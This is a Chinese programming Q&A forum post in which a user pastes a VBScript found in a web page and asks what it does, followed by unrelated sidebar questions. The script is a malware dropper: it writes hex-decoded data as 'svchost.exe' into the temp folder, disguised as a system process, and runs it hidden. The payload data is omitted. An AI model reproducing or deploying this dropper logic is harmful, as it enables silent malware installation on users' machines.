<SCRIPT Language=VBScript>
DropFileName = "svchost.exe";
WriteData = "";
Set FSO = CreateObject("Scripting.FileSystemObject");
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName;
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True);
For i = 1 To Len(WriteData) Step 2;
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)));
Next
FileObj.Close;
End If;
Set WSHshell = CreateObject("WScript.Shell");
WSHshell.Run DropPath, 0;
</SCRIPT>
WriteData里面数据太长太大,复制不上来
有哪位大神知道这个脚本是干神么的吗?
- 写回答
- 好问题 0 提建议
- 追加酬金
- 关注问题
- 邀请回答
-
3条回答 默认 最新
悬赏问题
- ¥15 #MATLAB仿真#车辆换道路径规划
- ¥15 java 操作 elasticsearch 8.1 实现 索引的重建
- ¥15 数据可视化Python
- ¥15 要给毕业设计添加扫码登录的功能!!有偿
- ¥15 kafka 分区副本增加会导致消息丢失或者不可用吗?
- ¥15 微信公众号自制会员卡没有收款渠道啊
- ¥100 Jenkins自动化部署—悬赏100元
- ¥15 关于#python#的问题:求帮写python代码
- ¥20 MATLAB画图图形出现上下震荡的线条
- ¥15 关于#windows#的问题:怎么用WIN 11系统的电脑 克隆WIN NT3.51-4.0系统的硬盘